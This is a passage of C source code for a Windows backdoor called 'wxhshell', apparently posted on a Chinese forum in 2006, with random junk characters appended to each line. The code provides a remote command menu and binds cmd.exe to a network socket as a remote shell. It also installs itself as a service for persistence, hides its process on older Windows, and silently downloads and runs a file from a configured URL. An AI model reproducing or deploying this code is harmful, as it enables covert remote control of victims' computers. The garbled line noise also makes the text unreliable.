  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |(7}0]BP0  
  } GkIE;7#2kX  
  else { 5J5si<v25  
DE?v'7cmA  
    switch(cmd[0]) { &W `xZyb3  
  R>Ra~ b  
  // 帮助 n|`3d~9$&  
  case '?': { n ]ikc|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XtF m5\U  
    break; GK?ual1  
  } HpwMm^  
  // 安装 V\V /2u5-  
  case 'i': { n*4`Tduu^  
    if(Install()) q76POytV|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'CLZ7 pV  
    else qnm_#!&uHT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (8nv&|  
    break; ]@q%dsz  
    } en<mm#Ab  
  // 卸载 :<% bAn  
  case 'r': { t=_^$M,yr  
    if(Uninstall()) lQA5HzC\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 50UdY9E_v}  
    else #6sz@XfV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *zfgO pK  
    break; :yay:3qv  
    } UD I{4+z  
  // 显示 wxhshell 所在路径 bbm\y] !t  
  case 'p': { 5*0zI\  
    char svExeFile[MAX_PATH]; jX53 owZ  
    strcpy(svExeFile,"\n\r"); [^H2'&]  
      strcat(svExeFile,ExeFile); W{p}N  
        send(wsh,svExeFile,strlen(svExeFile),0); xm'9n?  
    break; @sXFu[!U  
    } _1" ecaA  
  // 重启 -@To<<`n  
  case 'b': { *4,Q9K_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ _Of0<  
    if(Boot(REBOOT)) +9)Jtm oL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]5!3|UYS  
    else { OG\i?N  
    closesocket(wsh); )0{`}7X  
    ExitThread(0); QV4|f[Ki%  
    } @SQsEq+A?\  
    break; z*@eQauA  
    } b0P3S!E  
  // 关机 Lx"GBEkt7  
  case 'd': { q*!R4yE;C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'H1~Zhv  
    if(Boot(SHUTDOWN)) `y8pwWo-o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\!]MV  
    else { \j8vf0c5b  
    closesocket(wsh); ]TV_ p[L0B  
    ExitThread(0); 'C+cQLig@  
    } sEhvx +(  
    break; Mk! Fy]3  
    } hU)t5/h;K  
  // 获取shell %Ymi,o>  
  case 's': { 'K[ml ?_  
    CmdShell(wsh); f@*69a8  
    closesocket(wsh); }\4yU=JP K  
    ExitThread(0); FaHOutP  
    break; =~^b  
  } =?sG~  
  // 退出 /\J0)V  
  case 'x': { @!ChPl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c-Gp|.C  
    CloseIt(wsh); gF6> /  
    break; 1v@#b@NXM7  
    } W/'1ftn?D  
  // 离开 0cG'37[  
  case 'q': { bWPsfUn#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z 4u&#.bU  
    closesocket(wsh); <T 2O^  
    WSACleanup(); x6ghO-s  
    exit(1); j#HXuV6  
    break; (m]l -Re  
        } 8PI%Z6  
  } d)%WaM%V  
  } SX4*804a_  
A#U! KX  
  // 提示信息 Koa9W >!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )e(<YST  
} 6v%yU3l  
  } IQqUFP$8g  
U-|]A\`)I  
  return; ly0R'4j \  
} ;hj lRQ\  
F^Ut ZG+  
// shell模块句柄 h5?^MRZS  
int CmdShell(SOCKET sock) VKa+[  
{ *d._H1zT  
STARTUPINFO si; '%$Vmf)=  
ZeroMemory(&si,sizeof(si)); vPkLG*d 8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jIh1)*]054  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @]uqC~a^  
PROCESS_INFORMATION ProcessInfo; g*k)ws  
char cmdline[]="cmd"; E@VQxB7+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (s8b?Ol/  
  return 0; zJQh~)  
} ;zCUx*{  
VcjbRpTy&  
// 自身启动模式 Q14zc0N  
int StartFromService(void) ay"jWL-  
{ f*k7 @[rSv  
typedef struct qxZIH  
{ y)kxR  
  DWORD ExitStatus; y-<.l=6A  
  DWORD PebBaseAddress; Nd8>p.iqO  
  DWORD AffinityMask; CKAd\L   
  DWORD BasePriority; 8/e-?2l  
  ULONG UniqueProcessId; EQ%ooAb8  
  ULONG InheritedFromUniqueProcessId; --h\tj\U  
}   PROCESS_BASIC_INFORMATION; ^ h=QpH  
2D 4,#X  
PROCNTQSIP NtQueryInformationProcess; +pd,gG?dW  
xGs}hVlZiC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fWHvVyQ.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 17hoX4T  
ZTmy}@l  
  HANDLE             hProcess; s'HsLe0|  
  PROCESS_BASIC_INFORMATION pbi; @9/I^Zk  
PV68d; $:8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .}faWzRH9  
  if(NULL == hInst ) return 0; o78u>Oy  
sn"((BsO<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ny^ 1#R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !73y(Y%TE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *g5bdQ:Av~  
& ALnE:F  
  if (!NtQueryInformationProcess) return 0; hHJiGVJ=V  
MA .;=T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); la[ pA  
  if(!hProcess) return 0; TY8gB!^  
 _a09;C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AVT % AS  
^'QO!{7f  
  CloseHandle(hProcess); U]hqRL  
[@@{z9c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @*%3+9`yq  
if(hProcess==NULL) return 0; ? AfThJc  
a4:GGzt  
HMODULE hMod; 0ix(1`Z  
char procName[255]; >u=  
unsigned long cbNeeded; "FHJ_$!  
Q,?_;,I}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /@:X0}L  
>n7h%c  
  CloseHandle(hProcess); 0C zQel)L:  
TdFU,  
if(strstr(procName,"services")) return 1; // 以服务启动 [>ghs_?dZ  
77\+V 0cF  
  return 0; // 注册表启动 u\LNJo| B  
} 1$Hou   
Q4XlYgIV2A  
// 主模块 oh5'Isb$  
int StartWxhshell(LPSTR lpCmdLine) sL@\,]Y  
{ SZGR9/* ^  
  SOCKET wsl; BX_yC=S  
BOOL val=TRUE; ns~]a:1yh  
  int port=0; ?%3dgQB'  
  struct sockaddr_in door; ; Z:[LJd  
@i ~A7L0/  
  if(wscfg.ws_autoins) Install(); +4yre^gC  
dD,}i$  
port=atoi(lpCmdLine); i l^;2`]&  
("U<@~  
if(port<=0) port=wscfg.ws_port; JrcbJt  
b1Vr>:sK47  
  WSADATA data; s|%R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x3n9|Uud  
"B'c;0 @q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >0HH#JW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TcZ.5Oe6h#  
  door.sin_family = AF_INET; k4Q>J,k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x-i1:W9;  
  door.sin_port = htons(port); [8T{=+k  
Y`~B> J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]I|(/+}M  
closesocket(wsl); S]3CRJU3`  
return 1; ]bds~OY5 U  
}  l"ms:v  
B[8bkFS>]  
  if(listen(wsl,2) == INVALID_SOCKET) { s{b\\$Rb  
closesocket(wsl); m%0 -3c(  
return 1; '0 Cp  
} ,HP }}K+S  
  Wxhshell(wsl); ^E^`"  
  WSACleanup(); J9lZ1,22  
4iAF<|6s  
return 0; !.P||$x`&  
!E$$ FvL  
} n])#<0  
Wt/;iq"  
// 以NT服务方式启动 2E }vuw=c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *2 Pr1U  
{ 3sr_V~cZ9  
DWORD   status = 0; ||hQ*X<m>  
  DWORD   specificError = 0xfffffff; JQ?`l)4  
qyM/p.mP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J>(X0@eWz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^QNc!{`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =~ Uhr6Q  
  serviceStatus.dwWin32ExitCode     = 0; I|rb"bG  
  serviceStatus.dwServiceSpecificExitCode = 0; SIp)&  
  serviceStatus.dwCheckPoint       = 0; #*bmwb*i  
  serviceStatus.dwWaitHint       = 0; y#'hOSR2  
)$]lf }  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =}Tm8b0  
  if (hServiceStatusHandle==0) return; sD3ZZcy|=  
X&9: ^$m  
status = GetLastError(); v+LJx    
  if (status!=NO_ERROR) (;#c[eKy  
{ 8>YF}\D V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1<ag=D`F_"  
    serviceStatus.dwCheckPoint       = 0; ^+x?@$rq  
    serviceStatus.dwWaitHint       = 0; ^fsMfB  
    serviceStatus.dwWin32ExitCode     = status; ~5,^CTAM  
    serviceStatus.dwServiceSpecificExitCode = specificError; &_L%wV|[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l~E~!MR  
    return; t"$~o:U&)  
  } b`X''6  
m(8Tup|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <>6j>w_|  
  serviceStatus.dwCheckPoint       = 0; u1/ >)_U  
  serviceStatus.dwWaitHint       = 0; nJe}U#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n^nE&'[?0g  
} x3ZF6)@  
B@F@,?K4%  
// 处理NT服务事件,比如:启动、停止 FJeh=\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @jn&Wf?  
{ nL 5tHz:e  
switch(fdwControl) BAQ-1kSz  
{ D [+LU(  
case SERVICE_CONTROL_STOP: hC2Fup1@  
  serviceStatus.dwWin32ExitCode = 0; `n$Ak5f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z1 Nep !  
  serviceStatus.dwCheckPoint   = 0; u ON(LavB  
  serviceStatus.dwWaitHint     = 0; r,;ca6>5H  
  { DMUirA;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HAn{^8"@  
  } -+"#G?g  
  return; B[Lm}B[  
case SERVICE_CONTROL_PAUSE: ]LB_ @#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z8E<^<|  
  break; ~kZdep^]  
case SERVICE_CONTROL_CONTINUE: yz68g?"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j4IVIj@$ `  
  break; =e6p v#  
case SERVICE_CONTROL_INTERROGATE: -$8ew+  
  break; vh\i ^  
}; Ic(qA{SM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `O6#-<>  
} !R8%C!=a  
R&|.Lvmc/  
// 标准应用程序主函数 MtJ-pa~n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :{a< ~n`  
{ pyhXET '  
|mt W)  
// 获取操作系统版本 ZxvH1qx8  
OsIsNt=GetOsVer(); S"!6]!~^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZN8j})lE  
# `=Zc7gf  
  // 从命令行安装 `4*I1WZW  
  if(strpbrk(lpCmdLine,"iI")) Install(); :UdW4N-  
_=$~l^Y[  
  // 下载执行文件 ,1ev2T  
if(wscfg.ws_downexe) { .RpJZ[E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xmr}$<<=  
  WinExec(wscfg.ws_filenam,SW_HIDE); MT/jpx  
} e bze_:  
#}#m\=0  
if(!OsIsNt) { LtRRX@qJw  
// 如果时win9x,隐藏进程并且设置为注册表启动 m%L!eR  
HideProc(); /MtmO$ .  
StartWxhshell(lpCmdLine); [~N;d9H+*1  
} =RWTjTZ   
else W^iK9|[qp  
  if(StartFromService()) &%fcGNzJQ  
  // 以服务方式启动 V ,KIi_Z  
  StartServiceCtrlDispatcher(DispatchTable); <%^/uS  
else CFFb>d  
  // 普通方式启动 `ArUoYb B  
  StartWxhshell(lpCmdLine); %* 0GEfl/  
3A,N1OXG  
return 0; WRZpu95v  
}
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只看该作者 1 发表于: 2006-10-10
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